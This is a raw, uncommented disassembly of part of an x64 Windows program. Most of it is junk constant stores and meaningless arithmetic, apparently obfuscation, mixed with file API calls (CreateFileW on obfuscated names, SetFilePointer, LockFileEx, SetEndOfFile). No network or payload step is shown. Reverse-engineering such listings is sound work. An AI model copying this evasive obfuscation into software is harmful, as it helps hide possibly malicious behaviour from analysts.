mov word [rsp + 0x2698], ax
mov eax, 0x96f
mov word [rsp + 0x269c], ax
mov byte [rsp + 0x4db], 0x97
movabs rax, 0x7d39db48654979
mov qword [rsp + 0x102c8], rax
movabs rax, 0x74352967faef93
mov qword [rsp + 0x102d0], rax
mov byte [rsp + 0x4dc], 0xa
mov byte [rsp + 0x4dd], 0xa7
mov byte [rsp + 0x4de], 0xcb
mov eax, 0x3e0
mov word [rsp + 0x26a0], ax
movabs rax, 0x745da7054b69d1
mov qword [rsp + 0x102d8], rax
mov eax, 0x72e
mov word [rsp + 0x26a4], ax
mov eax, 0x640
mov word [rsp + 0x26a8], ax
mov eax, 0x14d
mov word [rsp + 0x26ac], ax
mov eax, 0x673
mov word [rsp + 0x26b0], ax
mov byte [rsp + 0x4df], 0x64
mov eax, 0x7cd
mov word [rsp + 0x26b4], ax
mov byte [rsp + 0x4e0], 0xf9
movabs rax, 0x721d1231b994d4
mov qword [rsp + 0x102e0], rax
mov eax, 0x4d3
mov word [rsp + 0x26b8], ax
mov eax, 0x27e
mov word [rsp + 0x26bc], ax
mov eax, 0x693
mov word [rsp + 0x26c0], ax
mov byte [rsp + 0x4e1], 0
mov byte [rsp + 0x4e2], 0x3e
mov dword [rsp + 0x7e50], 0x4703
mov dword [rsp + 0x7e54], 0x5917
mov dword [rsp + 0x7e58], 0x3b44
mov byte [rsp + 0x4e3], 0x7d
mov byte [rsp + 0x4e4], 5
mov eax, 0x639
mov word [rsp + 0x26c4], ax
mov dword [rsp + 0x7e5c], 0x2dea
mov eax, 0xa3a
mov word [rsp + 0x26c8], ax
movabs rax, 0x7b3f5ce2456104
mov qword [rsp + 0x102e8], rax
movabs rax, 0x7d3786f8cc6a32
mov qword [rsp + 0x102f0], rax
mov dword [rsp + 0x7e60], 0x8c20
movabs rax, 0x78ddeeac8a995c
mov qword [rsp + 0x102f8], rax
mov eax, 0x72a
mov word [rsp + 0x26cc], ax
mov dword [rsp + 0x7e64], 0x573e
mov byte [rsp + 0x4e5], 0xf8
mov byte [rsp + 0x4e6], 0xb9
mov eax, 0x496
mov word [rsp + 0x26d0], ax
mov eax, 0x1eb
mov word [rsp + 0x26d4], ax
mov byte [rsp + 0x4e7], 0xab
mov eax, 0xf79
mov word [rsp + 0x26d8], ax
mov byte [rsp + 0x4e8], 0x6f
mov byte [rsp + 0x4e9], 0x33
mov byte [rsp + 0x4ea], 0xe5
mov byte [rsp + 0x4eb], 0x2e
mov eax, 0x32
mov word [rsp + 0x26dc], ax
mov eax, 0x100
mov word [rsp + 0x26e0], ax
mov eax, 0x6bd
mov word [rsp + 0x26e4], ax
mov dword [rsp + 0x7e68], 0x38c7
mov byte [rsp + 0x4ec], 0x11
mov eax, 0xfb
mov word [rsp + 0x26e8], ax
mov byte [rsp + 0x4ed], 0x91
mov dword [rsp + 0x7e6c], 0x19e2
movabs rax, 0x74c0f0732f3c1d
mov qword [rsp + 0x10300], rax
mov eax, 0x27a
mov word [rsp + 0x26ec], ax
mov dword [rsp + 0x7e70], 0x7cbb
mov dword [rsp + 0x7e74], 0x3602
mov byte [rsp + 0x4ee], 0x17
movabs rax, 0x73011cbc991262
mov qword [rsp + 0x10308], rax
mov eax, 0x2bc
mov word [rsp + 0x26f0], ax
mov dword [rsp + 0x7e78], 0x535
mov dword [rsp + 0x7e7c], 0x212a
mov eax, 0x783
mov word [rsp + 0x26f4], ax
mov eax, 0x71c
mov word [rsp + 0x26f8], ax
mov dword [rsp + 0x7e80], 0x1f7c
movabs rax, 0x796946a21ca5ba
mov qword [rsp + 0x10310], rax
movabs rax, 0x7cf5c006d46269
mov qword [rsp + 0x10318], rax
mov byte [rsp + 0x4ef], 0x5e
movabs rax, 0x7571f4021ed1b9
mov qword [rsp + 0x10320], rax
mov byte [rsp + 0x4f0], 0x10
mov byte [rsp + 0x4f1], 0x1b
mov eax, 0x9d9
mov word [rsp + 0x26fc], ax
movabs rax, 0x7474e28e3d1050
mov qword [rsp + 0x10328], rax
movabs rax, 0x7ad12d5e454aef
mov qword [rsp + 0x10330], rax
mov eax, 0x279
mov word [rsp + 0x2700], ax
mov eax, 0xc3d
mov word [rsp + 0x2704], ax
movabs rax, 0x775e1363fa8657
mov qword [rsp + 0x10338], rax
mov byte [rsp + 0x4f2], 0x10
mov dword [rsp + 0x7e84], 0x7fd9
mov eax, 0x5d2
mov word [rsp + 0x2708], ax
mov dword [rsp + 0x7e88], 0x1fae
mov eax, 0x339
mov word [rsp + 0x270c], ax
movabs rax, 0x74d80707408929
mov qword [rsp + 0x10340], rax
mov eax, 0x429
mov word [rsp + 0x2710], ax
mov eax, 0x64e
mov word [rsp + 0x2714], ax
movabs rax, 0x731d76e3549038
mov qword [rsp + 0x10348], rax
movabs rax, 0x797e9b3377ba22
mov qword [rsp + 0x10350], rax
mov byte [rsp + 0x4f3], 0x69
movabs rax, 0x7dcf19311073ed
mov qword [rsp + 0x10358], rax
mov eax, 0x762
mov word [rsp + 0x2718], ax
mov eax, 0x4a7
mov word [rsp + 0x271c], ax
movabs rax, 0x784f26ac89fd6b
mov qword [rsp + 0x10360], rax
mov dword [rsp + 0x7e8c], 0x452b
mov eax, 0x3b7
mov word [rsp + 0x2720], ax
mov byte [rsp + 0x4f4], 0xf0
mov byte [rsp + 0x4f5], 0xd8
mov dword [rsp + 0x7e90], 0x30c4
mov dword [rsp + 0x7e94], 0x5e1
movabs rax, 0x7ee765932178e1
mov qword [rsp + 0x10368], rax
mov dword [rsp + 0x7e98], 0xeb0a
mov byte [rsp + 0x4f6], 0xc9
mov dword [rsp + 0x7e9c], 0x5a0c
movabs rax, 0x72ef6ece598444
mov qword [rsp + 0x10370], rax
movabs rax, 0x71973f070a3e3f
mov qword [rsp + 0x10378], rax
mov byte [rsp + 0x4f7], 2
movabs rax, 0x7b7c4035564b46
mov qword [rsp + 0x10380], rax
mov byte [rsp + 0x4f8], 0x7e
movabs rax, 0x7eb01f49de3c20
mov qword [rsp + 0x10388], rax
mov eax, 0xd86
mov word [rsp + 0x2724], ax
mov dword [rsp + 0x7ea0], 0xb7fe
mov byte [rsp + 0x4f9], 3
mov dword [rsp + 0x7ea4], 0x6b37
mov byte [rsp + 0x4fa], 0x6f
mov eax, 0xc9
mov word [rsp + 0x2728], ax
movabs rax, 0x75a6bca1f33e53
mov qword [rsp + 0x10390], rax
mov dword [rsp + 0x7ea8], 0x7d0
movabs rax, 0x79ba310f52199c
mov qword [rsp + 0x10398], rax
movabs rax, 0x70f3f436265b3c
mov qword [rsp + 0x103a0], rax
mov byte [rsp + 0x4fb], 0x54
mov eax, 0x5f2
mov word [rsp + 0x272c], ax
mov dword [rsp + 0x7eac], 0x85f
mov byte [rsp + 0x4fc], 0x58
movabs rax, 0x752775bd9166b5
mov qword [rsp + 0x103a8], rax
movabs rax, 0x7c504019167f4b
mov qword [rsp + 0x103b0], rax
mov dword [rsp + 0x7eb0], 0x4a6a
mov byte [rsp + 0x4fd], 0x67
mov eax, 0x218
mov word [rsp + 0x2730], ax
movabs rax, 0x709bc77395a2eb
mov qword [rsp + 0x103b8], rax
mov dword [rsp + 0x7eb4], 0xa6b8
movabs rax, 0x70115cd1603699
mov qword [rsp + 0x103c0], rax
mov byte [rsp + 0x4fe], 0x8d
movabs rax, 0x7e0dae39286590
mov qword [rsp + 0x103c8], rax
movabs rax, 0x7e54daa7fd37c8
mov qword [rsp + 0x103d0], rax
mov dword [rsp + 0x7eb8], 0x7a9c
movabs rax, 0x7801670eb20789
mov qword [rsp + 0x103d8], rax
movabs rax, 0x7c0d335d3ba5b0
mov qword [rsp + 0x103e0], rax
mov eax, 0x179
mov word [rsp + 0x2734], ax
mov eax, 0x206
mov word [rsp + 0x2738], ax
mov dword [rsp + 0x7ebc], 0xd30d
mov eax, 0x91b
mov word [rsp + 0x273c], ax
mov eax, 0xb7c
mov word [rsp + 0x2740], ax
mov eax, 0xb6
mov word [rsp + 0x2744], ax
movabs rax, 0x7e5554b7f174f6
mov qword [rsp + 0x103e8], rax
mov eax, 0x43
mov word [rsp + 0x2748], ax
movabs rax, 0x7d166509dfd5e9
mov qword [rsp + 0x103f0], rax
mov byte [rsp + 0x4ff], 0x19
mov byte [rsp + 0x500], 0x9b
mov dword [rsp + 0x7ec0], 0x9f60
mov byte [rsp + 0x501], 0xf6
mov dword [rsp + 0x7ec4], 0x7b09
mov eax, 0x386
mov word [rsp + 0x274c], ax
mov eax, 0x126
mov word [rsp + 0x2750], ax
mov byte [rsp + 0x502], 0x74
movabs rax, 0x7a81acfb0f165a
mov qword [rsp + 0x103f8], rax
mov eax, 0x7a1
mov word [rsp + 0x2754], ax
mov eax, 0x27e
mov word [rsp + 0x2758], ax
mov eax, 0x5c2
mov word [rsp + 0x275c], ax
movabs rax, 0x711d78de5d3ee1
mov qword [rsp + 0x10400], rax
movabs rax, 0x741ac6fbcb13bc
mov qword [rsp + 0x10408], rax
mov dword [rsp + 0x7ec8], 0xbbd
mov byte [rsp + 0x503], 0x34
movabs rax, 0x7da187b00a6f48
mov qword [rsp + 0x10410], rax
movabs rax, 0x7339db3b55d2c3
mov qword [rsp + 0x10418], rax
mov byte [rsp + 0x504], 0x3e
movabs rax, 0x7aaf55c0052810
mov qword [rsp + 0x10420], rax
movabs rax, 0x73d4ce8cb113e3
mov qword [rsp + 0x10428], rax
movabs rax, 0x7ecf8ff4bcf50b
mov qword [rsp + 0x10430], rax
movabs rax, 0x7dbbcdafae4233
mov qword [rsp + 0x10438], rax
mov dword [rsp + 0x7ecc], 0x1cf6
movabs rax, 0x77053dc3c33b32
mov qword [rsp + 0x10440], rax
mov eax, 0x119
mov word [rsp + 0x2760], ax
mov eax, 0x3bd
mov word [rsp + 0x2764], ax
movabs rax, 0x736549bad850f3
mov qword [rsp + 0x10448], rax
mov eax, 0x81c
mov word [rsp + 0x2768], ax
mov dword [rsp + 0x7ed0], 0x44d
mov byte [rsp + 0x505], 0x2f
mov eax, 0x4b3
mov word [rsp + 0x276c], ax
mov eax, 0xb1
mov word [rsp + 0x2770], ax
mov dword [rsp + 0x7ed4], 0x92a
mov byte [rsp + 0x506], 0x54
mov dword [rsp + 0x7ed8], 0x2d3a
mov dword [rsp + 0x7edc], 0x634d
mov dword [rsp + 0x7ee0], 0x5e38
mov dword [rsp + 0x7ee4], 0x38f7
mov eax, 0x5eb
mov word [rsp + 0x2774], ax
mov dword [rsp + 0x7ee8], 0x15a4
mov eax, 0x60b
mov word [rsp + 0x2778], ax
movabs rax, 0x7a9887925a0675
mov qword [rsp + 0x10450], rax
mov byte [rsp + 0x507], 0x72
movabs rax, 0x79f4813a7a1e42
mov qword [rsp + 0x10458], rax
mov byte [rsp + 0x508], 0x54
movabs rax, 0x7a84a5ff3ef766
mov qword [rsp + 0x10460], rax
mov eax, 0x7b
mov word [rsp + 0x277c], ax
mov eax, 0x1f5
mov word [rsp + 0x2780], ax
mov eax, 0xe6
mov word [rsp + 0x2784], ax
mov dword [rsp + 0x7eec], 0x61
mov eax, 0x4c0
mov word [rsp + 0x2788], ax
movabs rax, 0x735166c406c4a7
mov qword [rsp + 0x10468], rax
movabs rax, 0x7391b952eebd77
mov qword [rsp + 0x10470], rax
movabs rax, 0x753e433cbb8f35
mov qword [rsp + 0x10478], rax
mov eax, 0x4b7
mov word [rsp + 0x278c], ax
mov eax, 0x6f
mov word [rsp + 0x2790], ax
mov byte [rsp + 0x509], 0x4a
mov eax, 0x255
mov word [rsp + 0x2794], ax
movabs rax, 0x7e715d76c1e911
mov qword [rsp + 0x10480], rax
mov eax, 0x7e
mov word [rsp + 0x2798], ax
mov eax, 0x2ce
mov word [rsp + 0x279c], ax
mov byte [rsp + 0x50a], 0x7d
mov eax, 0xba
mov word [rsp + 0x27a0], ax
mov dword [rsp + 0x7ef0], 0x8d41
mov eax, 0xbd4
mov word [rsp + 0x27a4], ax
mov byte [rsp + 0x50b], 8
mov byte [rsp + 0x50c], 0x21
mov eax, 0x92f
mov word [rsp + 0x27a8], ax
mov eax, 0x170
mov word [rsp + 0x27ac], ax
mov eax, 0x76
mov word [rsp + 0x27b0], ax
movabs rax, 0x7182344ff171ed
mov qword [rsp + 0x10488], rax
movabs rax, 0x703a63520f5fa9
mov qword [rsp + 0x10490], rax
mov byte [rsp + 0x50d], 0x5e
mov eax, dword [rsp + 0x68f0]
add eax, 0x2dfc
mov dword [rsp + 0x68f0], eax
movsx eax, byte [0x14023c038]
sub eax, 0x47
mov byte [0x14023c038], al
mov dword [rsp + 0x7ef4], 0xe93d
mov dword [rsp + 0x7ef8], 0x6234
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.nvY_setP9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10498], rax
mov dword [rsp + 0x7efc], 0xc408
mov eax, dword [rsp + 0x68f0]
mov dword [rsp + 0x7f00], eax
movsx eax, word [rsp + 0x165c]
imul eax, eax, 0x4b6
mov word [rsp + 0x165c], ax
mov eax, 0xcef
mov word [rsp + 0x27b4], ax
movzx eax, word [rsp + 0x27b4]
mov word [rsp + 0x27b8], ax
movzx eax, byte [rsp + 0x50d]
and eax, 0x89
mov byte [rsp + 0x2fc], al
movabs rax, 0x758def7bcf8791
mov qword [rsp + 0x104a0], rax
mov dword [rsp + 0x7f04], 0xcfef
lea rcx, [0x14023d898]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27bc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f08], eax
movzx eax, word [rsp + 0x27b8]
mov word [0x1402815d0], ax
movzx eax, byte [0x14023c038]
mov byte [rsp + 0x50e], al
movzx eax, word [rsp + 0x27b8]
mov dword [rsp + 0x7f0c], eax
cmp dword [rsp + 0x7f0c], 0xf5
je 0x140016406
cmp dword [rsp + 0x7f0c], 0xcef
je 0x14001637d
jmp 0x140016437
xor edx, edx
mov rax, qword [rsp + 0x104a0]
movabs rcx, 0x7ca3fdd84a62c4
div rcx
mov qword [rsp + 0xda68], rax
movabs rax, 0x7bb79a7b2e2197
mov qword [rsp + 0x104a8], rax
mov eax, dword [rsp + 0x7ef4]
mov dword [rsp + 0x7f10], eax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
sar eax, cl
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x104a8]
mov qword [rsp + 0x104b0], rax
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x104b0]
mov qword [rsp + 0x104b8], rax
jmp 0x140016437
movzx eax, byte [rsp + 0x2fc]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0xda68]
movzx r8d, byte [rsp + 0x50e]
mov edx, dword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x104a8]
call fcn.1401f2210
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0xda68]
xor rcx, rax
mov rax, rcx
mov qword [0x14023c370], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104c0], rax
mov dword [rsp + 0x7f14], 0x2229
mov dword [rsp + 0x7f18], 0x4e6f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x104c8], rax
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x27b8]
shl eax, cl
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x2fc]
or eax, 0x32
mov byte [rsp + 0x50d], al
movsx eax, word [rsp + 0x27c0]
sub eax, 0x5d9
mov word [rsp + 0x165c], ax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c4], ax
mov eax, dword [rsp + 0x7f00]
add eax, 0x60ab
mov dword [rsp + 0x68f0], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0xda68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
mov eax, dword [rsp + 0x7f10]
sub eax, 0xc646
mov dword [rsp + 0x7ef4], eax
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0x50e], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd07
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f1c], eax
lea rdx, [rsp + 0x104d0]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f20], eax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
add eax, ecx
mov word [0x1402815d0], ax
movsx eax, word [rsp + 0x165c]
sub eax, 0x180
mov word [rsp + 0x27c0], ax
movzx eax, byte [rsp + 0x50d]
shl eax, 4
mov byte [rsp + 0x2fc], al
mov eax, dword [rsp + 0x68f0]
or eax, 0x597d
mov dword [rsp + 0x7f00], eax
mov eax, dword [rsp + 0x7f10]
shr eax, 0x18
mov dword [rsp + 0x7ef4], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0xda68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
movzx ecx, word [rsp + 0x27bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27c8], ax
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x104a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
movsx eax, word [rsp + 0x27c0]
add eax, 0x6da
mov word [rsp + 0x165c], ax
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [0x14023c038]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov eax, dword [rsp + 0x7efc]
add eax, 0x2b
mov dword [rsp + 0x7efc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3793
mov r9d, 0x2b8f
mov r8d, 0x5fd9ef42
mov edx, 1
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x7f24], eax
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov word [0x1402815d0], ax
mov r9d, 1
lea r8, [rsp + 0x104d0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x7f28], eax
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7f24], eax
movzx eax, byte [rsp + 0x50d]
sub eax, 0xf0
mov byte [rsp + 0x2fc], al
mov eax, dword [rsp + 0x68f0]
and eax, 0x3a1d
mov dword [rsp + 0x7f00], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f2c], eax
mov eax, dword [rsp + 0x7f10]
add eax, 0x7bb5
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x104a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
cmp dword [rsp + 0x7efc], 0xd27a
jb 0x1400164aa
cmp dword [rsp + 0x7ef8], 0x66a8
jae 0x140016ad1
movzx eax, byte [rsp + 0x50d]
sub eax, 0x56
mov byte [rsp + 0x2fc], al
movsx eax, word [rsp + 0x27c0]
add eax, 0x548
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0xda68]
movzx ecx, al
mov rax, qword [rsp + 0x104a0]
shr rax, cl
mov qword [0x14023c370], rax
lea rdx, [rsp + 0x26d70]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7f30], eax
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f1c], eax
mov eax, dword [rsp + 0x68f0]
shl eax, 0x1a
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [0x14023c370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x7ef4]
xor eax, 0x11b6
mov dword [rsp + 0x7f10], eax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x27b8], ax
movzx eax, byte [rsp + 0x50d]
add eax, 0x2f
mov byte [rsp + 0x2fc], al
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
sub eax, ecx
mov byte [rsp + 0xce], al
mov dword [rsp + 0x26db0], 0x11c
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x11a8]
add eax, ecx
mov word [0x1402815d0], ax
mov eax, dword [rsp + 0x7ef4]
add eax, 0xf99f
mov dword [rsp + 0x7f10], eax
mov eax, dword [rsp + 0x7f00]
and eax, 0x4976
mov dword [rsp + 0x68f0], eax
mov rax, qword [rsp + 0xda68]
mov rcx, qword [0x14023c370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
movzx eax, byte [rsp + 0x50d]
sub eax, 0x9c
mov byte [rsp + 0x2fc], al
mov eax, dword [rsp + 0x7ef8]
add eax, 0x3c
mov dword [rsp + 0x7ef8], eax
movsx eax, word [rsp + 0x165c]
add eax, 0x5c
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x104a8]
movzx ecx, al
mov rax, qword [rsp + 0x104b0]
shl rax, cl
mov qword [rsp + 0x104b8], rax
movzx eax, byte [rsp + 0x2fc]
or eax, 1
mov byte [rsp + 0x50d], al
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [rsp + 0x50e]
xor eax, ecx
mov byte [0x14023c038], al
mov eax, dword [rsp + 0x7f00]
sar eax, 0xd
mov dword [rsp + 0x68f0], eax
mov eax, dword [rsp + 0x7ef4]
and eax, 0x4ee4
mov dword [rsp + 0x7f10], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0xda68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
lea rdx, [rsp + 0x25090]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
movzx eax, byte [rsp + 0x2fc]
sub eax, 0x9c
mov byte [rsp + 0x50d], al
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x11a8]
add eax, ecx
mov word [rsp + 0x27b4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xdb8f
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f2c], eax
movsx eax, word [rsp + 0x165c]
sub eax, 0x4f7
mov word [rsp + 0x27c0], ax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [0x1402815d0], ax
mov eax, dword [rsp + 0x7ef4]
add eax, 0xcc66
mov dword [rsp + 0x7f10], eax
lea rdx, [rsp + 0x104e0]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f34], eax
jmp 0x140016778
mov eax, dword [rsp + 0x7f00]
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0xda68]
mov qword [rsp + 0x104e8], rax
lea rax, [rsp + 0x2fc]
mov qword [rsp + 0x104f0], rax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x11a8]
or eax, ecx
mov word [rsp + 0x27b4], ax
movsx eax, word [rsp + 0x27c0]
sar eax, 0xd
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x104a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
shl eax, cl
mov word [rsp + 0x27b4], ax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
sub eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0x104a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x7f10]
sub eax, 0xc487
mov dword [rsp + 0x7ef4], eax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov eax, dword [rsp + 0x7f04]
add eax, 0x4f
mov dword [rsp + 0x7f04], eax
movsx eax, byte [rsp + 0xce]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50d]
sub eax, ecx
mov byte [rsp + 0x2fc], al
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2fc], al
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov word [rsp + 0x11a8], ax
cmp dword [rsp + 0x7f04], 0xec04
jb 0x140016aff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104f8], rax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [0x14023c378], ax
movsx eax, word [0x14023c378]
movsx ecx, word [rsp + 0x165c]
xor eax, ecx
mov word [rsp + 0x1fe8], ax
mov eax, dword [rsp + 0x7f00]
movzx ecx, al
mov eax, dword [rsp + 0x68f0]
shl eax, cl
mov dword [rsp + 0x7f38], eax
mov eax, dword [rsp + 0x7ef4]
mov dword [rsp + 0x7f3c], eax
mov rax, qword [0x14023c370]
mov qword [rsp + 0x10500], rax
mov rax, qword [rsp + 0x104b0]
cqo
idiv qword [rsp + 0x104b8]
mov qword [rsp + 0x104a8], rax
movzx eax, byte [rsp + 0x50d]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x405], al
movzx eax, word [rsp + 0x11a8]
mov word [rsp + 0x27cc], ax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x165c]
sar eax, cl
mov word [rsp + 0x27c0], ax
mov dword [rsp + 0x7f40], 0xaaed
mov rax, qword [rsp + 0x104b8]
mov qword [rsp + 0x10508], rax
movzx eax, byte [rsp + 0x405]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x2fc]
movzx edx, byte [rsp + 0x50d]
add ecx, edx
cmp eax, ecx
je 0x140016e1f
lea rax, [0x14023c038]
mov qword [0x1402815c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.PvCNxgA7Ba
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10510], rax
lea rax, [rsp + 0x27b8]
mov qword [rsp + 0x10518], rax
mov rax, qword [rsp + 0xda68]
mov rcx, qword [rsp + 0x104e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
mov eax, dword [rsp + 0x7ef4]
imul eax, dword [rsp + 0x7f3c]
mov dword [rsp + 0x7f10], eax
mov dword [rsp + 0x7f44], 0x3a1d
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f10]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x7f3c]
ja 0x140016eff
mov rcx, qword [rsp + 0x10520]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x7f48], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
sub eax, ecx
mov byte [rsp + 0xce], al
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x7f00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x27c0]
add eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
sub eax, ecx
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x104b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov edx, dword [rsp + 0x7f10]
movzx ecx, word [rsp + 0x27c0]
call fcn.1401f1fa0
jmp 0x140016fb1
movzx eax, word [rsp + 0x1fe8]
mov word [0x1402815c2], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f08], eax
mov dword [rsp + 0x7f4c], 0x1b33
